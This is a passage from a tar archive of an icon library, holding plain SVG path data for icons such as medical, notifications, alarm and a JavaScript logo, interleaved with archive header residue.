192h-47.9V96c0-17.6-14.4-32-32-32H127.9c-17.6 0-32 14.4-32 32v96H48c-10.3 0-17.9 9.6-15.6 19.6l19.7 67.9H124V106c0-7.7 6.3-14 14-14h236c7.7 0 14 6.3 14 14v173.5h72l19.6-67.9c2.3-10-5.3-19.6-15.6-19.6z"/></svg>collection/icon/svg/ios-medical.svg000064400000001237151701353760013350 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M430.3 174.3l-16.5-28.6c-4.3-7.4-13.8-10-21.2-5.7L294 197c-2.7 1.5-6-.4-6-3.5v-114c0-8.6-6.9-15.5-15.5-15.5h-33c-8.6 0-15.5 6.9-15.5 15.5v114.1c0 3.1-3.3 5-6 3.5l-98.6-57c-7.4-4.3-16.9-1.7-21.2 5.7l-16.5 28.6c-4.3 7.4-1.7 16.9 5.7 21.1l98.7 57.1c2.7 1.5 2.7 5.4 0 6.9l-98.7 57.1c-7.4 4.3-9.9 13.7-5.7 21.1l16.5 28.6c4.3 7.4 13.8 10 21.2 5.7l98.6-57c2.7-1.5 6 .4 6 3.5v114.1c0 8.6 6.9 15.5 15.5 15.5h33c8.6 0 15.5-6.9 15.5-15.5V318.4c0-3.1 3.4-5 6-3.5l98.6 57c7.4 4.3 16.9 1.7 21.2-5.7l16.5-28.6c4.3-7.4 1.7-16.9-5.7-21.1l-98.7-57.1c-2.7-1.5-2.7-5.4 0-6.9l98.7-57.1c7.4-4.2 9.9-13.7 5.7-21.1z"/></svg>collection/icon/svg/ios-notifications.svg000064400000000663151701353760014625 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M255.9 456c31.1 0 48.1-22 48.1-53h-96.3c0 31 17 53 48.2 53zM412 352.2c-15.4-20.3-45.7-32.2-45.7-123.1 0-93.3-41.2-130.8-79.6-139.8-3.6-.9-6.2-2.1-6.2-5.9v-2.9c0-13.4-11-24.7-24.4-24.6-13.4-.2-24.4 11.2-24.4 24.6v2.9c0 3.7-2.6 5-6.2 5.9-38.5 9.1-79.6 46.5-79.6 139.8 0 90.9-30.3 102.7-45.7 123.1-9.9 13.1-.5 31.8 15.9 31.8h280.1c16.3 0 25.7-18.8 15.8-31.8z"/></svg>collection/icon/svg/md-sad.svg000064400000001235151701353760012325 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 288c-45.443 0-83.675 26.076-102.205 64h204.41c-18.53-37.924-56.762-64-102.205-64z"/><path d="M256 48C140.563 48 48 141.6 48 256s92.563 208 208 208 208-93.6 208-208S370.401 48 256 48zm0 374.4c-91.518 0-166.404-74.883-166.404-166.4 0-91.518 74.887-166.4 166.404-166.4S422.404 164.482 422.404 256 347.518 422.4 256 422.4z"/><path d="M328.8 235.2c17.683 0 31.201-13.518 31.201-31.2s-13.519-31.2-31.201-31.2c-17.682 0-31.2 13.518-31.2 31.2s13.518 31.2 31.2 31.2zM183.2 235.2c17.682 0 31.2-13.518 31.2-31.2s-13.519-31.2-31.2-31.2c-17.683 0-31.201 13.518-31.201 31.2s13.519 31.2 31.201 31.2z"/></svg>collection/icon/svg/ios-cellular.svg000064400000002677151701353760013566 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M408.4 51.8c-2.6-2.5-6.1-3.8-9.7-3.8-3.7 0-7.2 1.4-9.9 3.9-2.7 2.6-4.1 6-4.1 9.6 0 3.6 1.5 7 4.2 9.6 30.4 28.5 47.1 66.5 47.1 107.1 0 40.5-16.7 78.5-47.1 107.1-2.7 2.5-4.2 5.9-4.2 9.6 0 3.6 1.4 7 4.1 9.6 2.6 2.5 6.1 3.9 9.9 3.9 3.7 0 7.1-1.4 9.7-3.8C444.3 271 464 226.1 464 178.2v-.1c0-47.9-19.8-92.7-55.6-126.3z"/><path d="M351 96.8c-2.4-2.3-5.6-3.5-9-3.5-3.3 0-6.5 1.2-8.9 3.4-2.5 2.3-3.9 5.4-3.9 8.7 0 3.3 1.3 6.4 3.8 8.7 18 17 27.8 39.8 27.8 64 0 24.2-9.9 47-27.8 64-2.5 2.3-3.8 5.4-3.8 8.7 0 3.3 1.4 6.4 3.9 8.7 2.4 2.2 5.5 3.4 8.9 3.4 3.4 0 6.6-1.3 9-3.5 22.8-21.7 35.4-50.5 35.4-81.3v-.1c0-30.7-12.6-59.5-35.4-81.2zM123.1 71.1c2.7-2.5 4.2-5.9 4.2-9.6 0-3.6-1.4-7-4.1-9.6-2.6-2.5-6.1-3.9-9.9-3.9-3.7 0-7.1 1.4-9.7 3.8C67.7 85.4 48 130.3 48 178.2v.2c0 47.8 19.8 92.6 55.6 126.2 2.6 2.5 6.1 3.8 9.7 3.8 3.7 0 7.2-1.4 9.9-3.9 2.7-2.6 4.1-6 4.1-9.6 0-3.6-1.5-7-4.2-9.6C92.7 256.8 76 218.8 76 178.2c-.1-40.6 16.7-78.6 47.1-107.1z"/><path d="M179 114.1c2.5-2.3 3.8-5.4 3.8-8.7 0-3.3-1.4-6.4-3.9-8.7-2.4-2.2-5.5-3.4-8.9-3.4-3.4 0-6.6 1.3-9 3.5-22.8 21.7-35.4 50.5-35.4 81.3v.1c0 30.8 12.6 59.6 35.4 81.2 2.4 2.3 5.6 3.5 9 3.5 3.3 0 6.5-1.2 8.9-3.4 2.5-2.3 3.9-5.4 3.9-8.7 0-3.3-1.3-6.4-3.8-8.7-18-17-27.8-39.8-27.8-64-.1-24.2 9.8-46.9 27.8-64zM256 123.2c-26.5 0-48 21.5-48 48 0 21.6 14.3 39.9 34 45.9v233c0 7.7 6.3 13.9 14 13.9s14-6.2 14-13.9v-233c19.7-6 34-24.3 34-45.9 0-26.5-21.5-48-48-48z"/></svg>collection/icon/svg/md-at.svg000064400000002353151701353760012164 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M265.6 212.3c-10.5 0-18.5 4.4-24 13.2-5.5 8.8-9.1 22-10.8 39.6-.9 11.7 0 20.5 2.7 26.5s7.1 9 13.1 9c5.5 0 10.3-1.5 14.6-4.4 4.3-2.9 8.1-8.3 11.3-16.2l6.1-66c-2.2-.5-4.4-.9-6.5-1.2-2.3-.4-4.4-.5-6.5-.5z"/><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm127.8 201.9c-.9 21.4-7.6 39.9-20 55.6-12.4 15.6-31 23.4-55.6 23.4-8.2 0-15.3-2.2-21.2-6.6-6-4.4-10.2-10.7-12.6-18.8-4.1 8.3-9.4 14.5-15.7 18.6-6.3 4.1-13.7 6.2-22.2 6.2-15.1 0-26.6-5.8-34.6-17.3s-10.9-26.8-8.8-45.9c2.6-24.4 10-44 22.2-58.7 12.2-14.7 27-22 44.4-22 12.2 0 22.1 1.3 29.5 3.8 7.4 2.5 15.6 5.7 24.5 11l-.5-.1h.8l-7.7 83.4c-.5 8.5.1 14.6 1.7 17.8 1.7 3.2 3.9 4.9 6.7 4.9 11.3 0 20.4-5.1 27.2-15.6 6.8-10.5 10.6-23.6 11.4-39.6 1.6-33-5.1-58.7-20.2-77.1-15.1-18.4-38.3-27.7-69.7-27.7-30.5 0-54.8 9.9-72.8 29.8s-27.7 46.9-29.3 81.2c-1.7 33.4 5.6 59.8 21.9 79.1 16.3 19.4 39.7 29.1 70.3 29.1 8.5 0 17.3-.9 26.5-2.7 9.1-1.8 17.1-4.1 23.7-6.8l5.8 24.2c-6.8 4.1-15.4 7.3-25.9 9.6-10.5 2.3-20.7 3.4-30.7 3.4-40.8 0-72.3-12.1-94.3-36.4-22-24.2-32.2-57.4-30.5-99.6 1.8-41.8 14.9-74.9 39.1-99.4 24.3-24.5 56.5-36.7 96.7-36.7 39.5 0 69.8 11.6 90.7 34.7 21.2 23.2 30.8 54.9 29.2 95.2z"/></svg>collection/icon/svg/md-crop.svg000064400000000363151701353760012522 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 312.7h37.8V160c0-20.8-17-37.8-37.8-37.8H199.3V160H352v152.7zm-192 33.5V48h-37.8v74.2H48V160h74.2v186.2c0 20.8 17 37.8 37.8 37.8h192v80h37.8v-80H464v-37.8H160z"/></svg>collection/icon/svg/md-hand.svg000064400000001726151701353760012475 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M450.679 273.5c-14.585-14.577-36.054-15.89-50.639-1.312l-41.687 41.664c-10.852 10.836-23.93 10.859-31.564 1.852-5.057-5.968-3.061-24.374-1.644-36.049l20.907-171.849c1.867-15.353-9.07-30.185-24.43-32.051-15.358-1.867-29.322 9.939-31.191 25.289L267.37 236.021c-1.205 3.358-3.79 3.938-4.081-.582L255.44 60c0-15.465-12.542-28-28.014-28-15.473 0-28.015 12.535-28.015 28l-.552 176.752c.146 2.04-1.604 2.624-1.92.294L172.016 99.077c-2.75-15.219-17.323-26.203-32.548-23.453-15.227 2.748-25.339 18.187-22.591 33.403l22.193 161.455c.023 2.872-.941 4.513-2.308.831l-33.109-88.517c-5.18-14.572-21.196-23.065-35.776-17.889-14.579 5.177-22.201 22.061-17.023 36.631l58.042 189.625c.303 1.046.624 2.085.953 3.118l.121.39c.011.031.025.058.035.088C126.079 444.233 172.57 480 227.427 480c35.116 0 71.591-12.378 99.357-33.672l.003-.002c29.99-18.051 126.071-121.347 126.071-121.347 14.587-14.577 12.408-36.899-2.179-51.479z"/></svg>collection/icon/svg/md-code-working.svg000064400000000444151701353760014147 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M190.4 354.1L91.9 256l98.4-98.1-30-29.9L32 256l128.4 128 30-29.9zm131.2 0L420 256l-98.4-98.1 30-29.9L480 256 351.6 384l-30-29.9z"/><path d="M155.6 276h40v-40h-40v40zm200.8-40h-40v40h40v-40zM236 276h40v-40h-40v40z"/></svg>collection/icon/svg/md-desktop.svg000064400000000514151701353760013226 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.333 32H74.667C51.198 32 32 51.197 32 74.666v282.667C32 380.802 51.198 400 74.667 400h138.666l-42.666 48v32h170.666v-32l-42.666-48h138.666C460.802 400 480 380.802 480 357.333V74.666C480 51.197 460.802 32 437.333 32zm0 288H74.667V74.666h362.666V320z"/></svg>collection/icon/svg/ios-sync.svg000064400000002577151701353760012736 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M492 257.1c-2.6-2.6-6-4-9.6-4-3.6 0-7 1.4-9.6 4l-13 13c4.3-61.8-19.5-122.5-65.3-165C356.9 70.2 307.7 51 256.1 51c-26.7 0-52.8 5.1-77.4 15.1-25.5 10.4-48.3 25.6-67.7 45.3-13.2 13.4-24.6 28.5-33.6 44.8-1.9 3.4-2.3 7.4-1.2 11.1 1.1 3.7 3.8 6.8 7.2 8.5 2 1 4.2 1.5 6.4 1.5 5.2 0 9.9-2.8 12.4-7.3 7.9-14.3 17.8-27.5 29.4-39.1 16.8-16.8 36.3-29.8 58.1-38.7 21.1-8.6 43.4-12.9 66.2-12.9 22.9 0 45.2 4.3 66.3 12.9 21.8 8.9 41.4 21.9 58.2 38.8 20.3 20.4 35.4 45.6 43.8 73 7 22.9 9.2 47.3 6.6 71.2l-18.9-18.5c-2.5-2.4-5.8-3.8-9.3-3.8-3.5 0-6.9 1.4-9.4 3.9-5.2 5.2-5.2 13.6 0 18.8l42.8 42.9c1.9 1.9 4.4 2.9 7 2.9 2.6 0 5.1-1 7-2.9l42.1-42.2c5.2-5.3 5.2-13.9-.1-19.2zM428.6 335.9c-2-1-4.2-1.5-6.4-1.5-5.2 0-9.9 2.8-12.4 7.3-7.9 14.3-17.8 27.5-29.4 39.1-16.8 16.8-36.3 29.9-58.2 38.7-21.1 8.6-43.4 12.9-66.3 12.9s-45.2-4.3-66.2-12.9c-21.8-8.9-41.4-21.9-58.2-38.7-37.6-37.8-56-90.9-50.3-143.9l18.4 18.5c2.4 2.4 5.6 3.7 9 3.7 3.4 0 6.6-1.3 9-3.7l1.3-1.3c4.9-4.9 4.9-13 0-17.9l-42.9-43c-1.9-1.9-4.4-2.9-7-2.9-2.6 0-5.1 1-7 2.9l-42 42.3c-5.3 5.3-5.3 13.9 0 19.2 2.6 2.6 6 4 9.6 4 3.6 0 7-1.4 9.6-4l13-13.1c-1.8 25.8 1.3 52 9 76.5 9.9 31.4 26.8 59.3 50.3 82.8 19.5 19.6 42.2 34.7 67.6 45.1 24.5 10 50.4 15 76.9 15 26.5 0 52.4-5.1 76.9-15 25.4-10.3 48.1-25.5 67.6-45.1 13.5-13.5 25-28.8 34.2-45.4 1.9-3.4 2.3-7.4 1.2-11.1-1.2-3.7-3.8-6.8-7.3-8.5z"/></svg>collection/icon/svg/ios-help-circle.svg000064400000001000151701353760014125 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm-4.3 304c-11.8 0-21.4-9-21.4-20.6 0-11.5 9.6-20.6 21.4-20.6 11.9 0 21.5 9 21.5 20.6 0 11.6-9.5 20.6-21.5 20.6zm40.2-96.9c-17.4 10.1-23.3 17.5-23.3 30.3v7.9h-34.7l-.3-8.6c-1.7-20.6 5.5-33.4 23.6-44 16.9-10.1 24-16.5 24-28.9s-12-21.5-26.9-21.5c-15.1 0-26 9.8-26.8 24.6H192c.7-32.2 24.5-55 64.7-55 37.5 0 63.3 20.8 63.3 50.7 0 19.9-9.6 33.6-28.1 44.5z"/></svg>collection/icon/svg/md-construct.svg000064400000001462151701353760013604 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M430.9 393.4l-119.6-119-58.1-57.9-13.4-13.3c15.9-40.6 7.1-88.2-26.6-121.7-35.4-35.3-88.5-42.3-131-22.9l76.1 75.8-53.1 52.9-77.9-75.8C6.2 153.8 15 206.7 50.4 242c33.6 33.5 81.4 42.3 122.1 26.5l14.4 14.3L81.7 388c-7.6 5.7-7.6 19 1.9 26.6l43.8 43.7c7.6 7.6 19.1 7.6 26.7 0l96.1-112.4 113.4 112.9c7.1 7.1 17.7 7.1 24.8 0l40.7-40.6c8.9-7.1 8.9-19.5 1.8-24.8z"/><path d="M494.4 216.6l-34.5-34.1c-2.2-2.2-5.8-2.2-8 0l-3.7 3.7-18.5-15.8s1.2-10-4.9-18.7c-6.2-8.7-16.1-19.8-23.2-26.9-7.1-7-34.1-33.9-69.7-51.4C296.2 55.7 271 48 241 48v29.7s28.7 16.6 45.1 29.7c16.3 13.1 16.8 59.5 16.8 59.5l-28.5 28.5 56.5 56.1 31-36.3c12.9-3.5 23.8-3.8 30.2-.3l13.7 13.3-9.6 9.5c-2.2 2.2-2.2 5.7 0 7.9l34.5 34.1c2.2 2.2 5.8 2.2 8 0l55.7-55.2c2.1-2.2 2.1-5.8 0-7.9z"/></svg>collection/icon/svg/ios-woman.svg000064400000001305151701353760013067 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M286 496c-6.1 0-11.8-2.3-16-6.6-3.2-3.3-7.1-9.1-7.1-18.6V351.4H249v119.4c0 9.5-4 15.4-7.4 18.7-4.3 4.2-10.1 6.5-16.3 6.5-6.2 0-11.9-2.3-16.3-6.5-3.4-3.3-7.4-9.1-7.4-18.7V351.4h-43.9l44.5-170.6h-6.8L171 271.2c-4 13.1-13.7 17.8-21.4 17.8-6.6 0-12.9-3.2-17-8.7-4.8-6.4-6.1-14.9-3.6-23.9l29-104.1c4.2-15.2 20.7-38.2 48.7-39.3H305.1c28.4 1.2 44.1 26 48.5 38.9l.1.4 29 104.3c2.4 9 1 17.6-3.9 24-4.1 5.4-10.4 8.6-16.9 8.6-7.7 0-17.3-4.8-21.3-18.1v-.2l-24.3-90.1h-7.7l45.5 170.6H309v119.4c0 9.5-3.9 15.3-7.1 18.6-4.2 4.3-9.8 6.6-15.9 6.6zM255.9 106.4c-24.2 0-43.9-20.3-43.9-45.2S231.7 16 255.9 16s43.9 20.3 43.9 45.2-19.7 45.2-43.9 45.2z"/></svg>collection/icon/svg/md-paper.svg000064400000001273151701353760012667 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M464 64H192c-8.8 0-16 7.7-16 16.5V112H74c-23.1 0-42 18.9-42 42v207.5c0 47.6 39 86.5 86 86.5h279.7c45.1 0 82.3-36.9 82.3-82V80c0-8.8-7.2-16-16-16zm-288 80v192h-42V163.2c0-6.8-.8-13.3-3.3-19.2H176zm-17 255.4C148 410 133.2 416 118.5 416c-14.5 0-28.1-5.7-38.5-16-10.3-10.3-16-24-16-38.5V163.2c0-10.6 8.4-19.2 19-19.2s19 8.6 19 19.2V352c0 8.8 7.2 16 16 16h57.5c-1.5 11.6-7.2 22.6-16.5 31.4zM448 366c0 13.3-5.4 25.8-14.9 35.3-9.5 9.5-22.2 14.7-35.4 14.7H187.3c12.8-14.9 20.7-33.9 20.7-54.5V97h240v269z"/><path d="M248 136h160v56H248zM248 224h160v32H248zM248 288h160v32H248zM408 352H248s0 32-8 32h148.7c19.3 0 19.3-21 19.3-32z"/></svg>collection/icon/svg/ios-cloud-outline.svg000064400000001450151701353760014532 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M288 124c30.3 0 59.3 11.2 81.8 31.5 22.3 20.1 36.3 47.6 39.5 77.3l1.2 11.1c.6 5.8 5 10.5 10.7 11.5l11 2c14 2.5 27 10.4 36.7 22.1 9.8 12 15.2 26.9 15.2 42.1 0 17-6.9 34.1-18.9 46.8C453 381 437.4 388 421.1 388H90.9c-16.3 0-31.9-7-43.9-19.7s-18.9-29.7-18.9-46.8c0-14.4 4.6-28.9 13.1-40.9 8.6-12.2 20.2-20.9 33.7-25.1l10.3-3.3c5.3-1.7 9-6.6 9.1-12.2l.2-10.8c.2-11.8 5.1-23.6 13.5-32.4 8.3-8.7 18.9-13.4 29.9-13.4 5.6 0 11.1 1.1 16.3 3.2l11.1 4.5c5.7 2.3 12.2.4 15.7-4.7l6.8-9.8C210.4 143.7 248 124 288 124m0-28c-51.2 0-96.3 25.6-123.4 64.7-8.3-3.4-17.4-5.3-26.9-5.3-39.1 0-70.8 34.4-71.4 73.4C26.4 241.5 0 280.5 0 321.5 0 371.7 40.7 416 90.9 416h330.3c50.2 0 90.9-44.3 90.9-94.5 0-44.7-32.3-84.1-74.9-91.7C429 154.6 365.4 96 288 96z"/></svg>collection/icon/svg/ios-alarm.svg000064400000001701151701353760013042 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M381.2 64.1c-1.3-.1-2.6-.1-3.9-.1h-.2c-16.2 0-32 5.4-44.6 15.1-1.6 1.3-2.6 3.2-2.7 5.2-.1 2 .8 4 2.3 5.4l89.8 80.5c1.3 1.1 2.9 1.8 4.6 1.8h.4c1.9-.1 3.6-1 4.8-2.4C440.9 159 448 150.8 448 133c.1-36.4-29.1-66.8-66.8-68.9zM64 133c0 17.8 7.1 26 16.3 36.6 1.2 1.4 2.9 2.3 4.8 2.4h.4c1.7 0 3.3-.6 4.6-1.8L180 89.7c1.5-1.4 2.4-3.3 2.3-5.4-.1-2-1-3.9-2.7-5.2C167 69.4 151.2 64 135 64h-.2c-1.3 0-2.6 0-3.9.1-37.7 2.1-67 32.5-66.9 68.9z"/><g><path d="M390 386c26.2-30.7 42-70.5 42-114 0-97.2-78.8-176-176-176S80 174.8 80 272c0 43.5 15.8 83.3 42 114l-34.7 35.5c-6.2 6.3-6 15.5.3 21.6 3.1 3 7.4 4.8 11.4 4.8 4.2 0 8.1-1.9 11.2-5.1l34.6-34.5c30.3 24.7 69 39.6 111.2 39.6s80.9-14.8 111.2-39.6l33.6 34.5c3.1 3.2 7.3 5.1 11.5 5.1 4 0 8.1-1.8 11.2-4.8 6.3-6.2 7.5-15.3 1.3-21.6L390 386zM270 274c0 7.7-6.3 14-14 14h-82c-7.7 0-14-6.3-14-14s6.3-14 14-14h68V158c0-7.7 6.3-14 14-14s14 6.3 14 14v116z"/></g></svg>collection/icon/svg/logo-buffer.svg000064400000001543151701353760013371 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M70.7 164.5l169.2 81.7c4.4 2.1 10.3 3.2 16.1 3.2s11.7-1.1 16.1-3.2l169.2-81.7c8.9-4.3 8.9-11.3 0-15.6L272.1 67.2c-4.4-2.1-10.3-3.2-16.1-3.2s-11.7 1.1-16.1 3.2L70.7 148.9c-8.9 4.3-8.9 11.3 0 15.6z"/><path d="M441.3 248.2s-30.9-14.9-35-16.9-5.2-1.9-9.5.1S272 291.6 272 291.6c-4.5 2.1-10.3 3.2-16.1 3.2s-11.7-1.1-16.1-3.2c0 0-117.3-56.6-122.8-59.3-6-2.9-7.7-2.9-13.1-.3l-33.4 16.1c-8.9 4.3-8.9 11.3 0 15.6l169.2 81.7c4.4 2.1 10.3 3.2 16.1 3.2s11.7-1.1 16.1-3.2l169.2-81.7c9.1-4.2 9.1-11.2.2-15.5z"/><path d="M441.3 347.5s-30.9-14.9-35-16.9-5.2-1.9-9.5.1S272.1 391 272.1 391c-4.5 2.1-10.3 3.2-16.1 3.2s-11.7-1.1-16.1-3.2c0 0-117.3-56.6-122.8-59.3-6-2.9-7.7-2.9-13.1-.3l-33.4 16.1c-8.9 4.3-8.9 11.3 0 15.6l169.2 81.7c4.4 2.2 10.3 3.2 16.1 3.2s11.7-1.1 16.1-3.2l169.2-81.7c9-4.3 9-11.3.1-15.6z"/></svg>collection/icon/svg/logo-javascript.svg000064400000001355151701353760014267 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M208 88.001h-80v212.498c0 52.58-18.032 67.261-49.412 67.261-14.705 0-27.948-2.521-38.25-6.063L32 423.904C46.7 428.966 69.259 432 86.907 432 158.955 432 208 398.129 208 301.02V88.001zM382.463 80C305.02 80 256 123.998 256 182.154c0 50.083 37.751 81.44 92.641 101.665 39.7 14.158 55.392 26.808 55.392 47.539 0 22.756-18.139 37.425-52.448 37.425-31.863 0-60.789-10.64-80.394-21.255v-.021L256 410.727c18.639 10.638 53.441 21.255 91.167 21.255C437.854 431.98 480 383.43 480 326.284c0-48.55-26.958-79.9-85.278-102.163-43.139-17.191-61.27-26.795-61.27-48.542 0-17.2 15.688-32.869 48.043-32.869 31.846 0 53.744 10.707 66.505 17.291l19.125-64C447.125 87.22 420.188 80 382.463 80z"/></svg>collection/icon/svg/ios-swap.svg000064400000001052151701353760012717 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M388.9 266.3c-5.1-5-5.2-13.3-.1-18.4L436 200H211c-7.2 0-13-5.8-13-13s5.8-13 13-13h224.9l-47.2-47.9c-5-5.1-5-13.3.1-18.4 5.1-5 13.3-5 18.4.1l69 70c1.1 1.2 2.1 2.5 2.7 4.1.7 1.6 1 3.3 1 5 0 3.4-1.3 6.6-3.7 9.1l-69 70c-5 5.2-13.2 5.3-18.3.3zM123.1 404.3c5.1-5 5.2-13.3.1-18.4L76.1 338H301c7.2 0 13-5.8 13-13s-5.8-13-13-13H76.1l47.2-47.9c5-5.1 5-13.3-.1-18.4-5.1-5-13.3-5-18.4.1l-69 70c-1.1 1.2-2.1 2.5-2.7 4.1-.7 1.6-1 3.3-1 5 0 3.4 1.3 6.6 3.7 9.1l69 70c5 5.2 13.2 5.3 18.3.3z"/></svg>collection/icon/svg/md-copy.svg000064400000001015151701353760012524 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M296 48H176.5C154.4 48 136 65.4 136 87.5V96h-7.5C106.4 96 88 113.4 88 135.5v288c0 22.1 18.4 40.5 40.5 40.5h208c22.1 0 39.5-18.4 39.5-40.5V416h8.5c22.1 0 39.5-18.4 39.5-40.5V176L296 48zm0 44.6l83.4 83.4H296V92.6zm48 330.9c0 4.7-3.4 8.5-7.5 8.5h-208c-4.4 0-8.5-4.1-8.5-8.5v-288c0-4.1 3.8-7.5 8.5-7.5h7.5v255.5c0 22.1 10.4 32.5 32.5 32.5H344v7.5zm48-48c0 4.7-3.4 8.5-7.5 8.5h-208c-4.4 0-8.5-4.1-8.5-8.5v-288c0-4.1 3.8-7.5 8.5-7.5H264v128h128v167.5z"/></svg>collection/icon/svg/ios-contract.svg000064400000002121151701353760013560 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M184.3 204.8h-77.7c-7.7 0-13.9 6.2-13.9 13.9v.2c0 7.7 6.2 13.9 13.9 13.9h112.2c7.7 0 13.9-6.2 13.9-13.9V106.6c0-7.7-6.2-13.9-13.9-13.9h-.2c-7.7 0-13.9 6.2-13.9 13.9v77.7L87.7 68c-2.6-2.6-6.1-4-9.8-4-3.7 0-7.2 1.4-9.8 4.1-5.4 5.4-5.4 14.2 0 19.6l116.2 117.1zM293.1 232.8h112.2c7.7 0 13.9-6.2 13.9-13.9v-.2c0-7.7-6.2-13.9-13.9-13.9h-77.7L444 87.7c5.4-5.4 5.4-14.2 0-19.6-2.6-2.6-6.1-4.1-9.8-4.1-3.7 0-7.2 1.4-9.8 4L307.3 184.3v-77.7c0-7.7-6.2-13.9-13.9-13.9h-.2c-7.7 0-13.9 6.2-13.9 13.9v112.2c0 7.7 6.2 14 13.8 14zM77.9 448c3.7 0 7.2-1.4 9.8-4l117.1-116.3v77.7c0 7.7 6.2 13.9 13.9 13.9h.2c7.7 0 13.9-6.2 13.9-13.9V293.1c0-7.7-6.2-13.9-13.9-13.9H106.6c-7.7 0-13.9 6.2-13.9 13.9v.2c0 7.7 6.2 13.9 13.9 13.9h77.7L68 424.3c-5.4 5.4-5.4 14.2 0 19.6 2.7 2.7 6.2 4.1 9.9 4.1zM293.1 419.2h.2c7.7 0 13.9-6.2 13.9-13.9v-77.7L424.3 444c2.6 2.6 6.1 4 9.8 4 3.7 0 7.2-1.4 9.8-4.1 5.4-5.4 5.4-14.2 0-19.6L327.7 307.2h77.7c7.7 0 13.9-6.2 13.9-13.9v-.2c0-7.7-6.2-13.9-13.9-13.9H293.1c-7.7 0-13.9 6.2-13.9 13.9v112.2c.1 7.7 6.3 13.9 13.9 13.9z"/></svg>collection/icon/svg/md-car.svg000064400000001143151701353760012321 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M403.208 117.333c-4.271-12.802-16-21.333-29.875-21.333H138.667c-13.875 0-25.604 8.531-29.875 21.333L64 234.667v160C64 406.396 73.604 416 85.333 416h21.334c11.729 0 21.333-9.604 21.333-21.333V384h256v10.667c0 11.729 9.604 21.333 21.333 21.333h21.334c11.729 0 21.333-9.604 21.333-21.333v-160l-44.792-117.334zM138.667 320c-18.125 0-32-13.865-32-32s13.875-32 32-32 32 13.866 32 32-13.875 32-32 32zm234.666 0c-18.125 0-32-13.865-32-32s13.875-32 32-32 32 13.866 32 32-13.875 32-32 32zM106.667 213.333l32-85.333h234.666l32 85.333H106.667z"/></svg>collection/icon/svg/ios-arrow-dropright.svg000064400000001077151701353760015106 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M210.7 147.6c7.5-7.5 19.8-7.5 27.3 0l95.4 95.7c7.3 7.3 7.5 19.1.6 26.6l-94 94.3c-3.8 3.8-8.7 5.7-13.7 5.7-4.9 0-9.9-1.9-13.6-5.6-7.5-7.5-7.6-19.7 0-27.3l79.9-81.1-81.9-81.1c-7.6-7.4-7.6-19.6 0-27.2z"/><path d="M48 256c0 114.9 93.1 208 208 208s208-93.1 208-208S370.9 48 256 48 48 141.1 48 256zm32 0c0-47 18.3-91.2 51.6-124.4C164.8 98.3 209 80 256 80s91.2 18.3 124.4 51.6C413.7 164.8 432 209 432 256s-18.3 91.2-51.6 124.4C347.2 413.7 303 432 256 432s-91.2-18.3-124.4-51.6C98.3 347.2 80 303 80 256z"/></svg>collection/icon/svg/ios-list-box.svg000064400000001471151701353760013513 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M48 82.7v346.7c0 19.1 15.5 34.7 34.7 34.7h346.7c19.1 0 34.7-15.5 34.7-34.7V82.7c0-19.1-15.5-34.7-34.7-34.7H82.7C63.5 48 48 63.5 48 82.7zm89.3 297.1c-13.1 1.7-24.1-9.3-22.4-22.4 1.1-8.9 8.3-16.1 17.2-17.2 13.1-1.7 24.1 9.3 22.4 22.4-1.1 8.9-8.3 16.1-17.2 17.2zm0-104c-13.1 1.7-24.1-9.3-22.4-22.4 1.1-8.9 8.3-16.1 17.2-17.2 13.1-1.7 24.1 9.3 22.4 22.4-1.1 8.9-8.3 16.1-17.2 17.2zm0-104c-13.1 1.7-24.1-9.3-22.4-22.4 1.1-8.9 8.3-16.1 17.2-17.2 13.1-1.7 24.1 9.3 22.4 22.4-1.1 8.9-8.3 16.1-17.2 17.2zM384.7 374h-180c-7.7 0-14-6.3-14-14s6.3-14 14-14h180c7.7 0 14 6.3 14 14s-6.3 14-14 14zm0-104h-180c-7.7 0-14-6.3-14-14s6.3-14 14-14h180c7.7 0 14 6.3 14 14s-6.3 14-14 14zm0-104h-180c-7.7 0-14-6.3-14-14s6.3-14 14-14h180c7.7 0 14 6.3 14 14s-6.3 14-14 14z"/></svg>collection/icon/svg/md-arrow-round-down.svg000064400000000506151701353760015002 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M99.4 284.9l134 138.1c5.8 6 13.7 9 22.4 9h.4c8.7 0 16.6-3 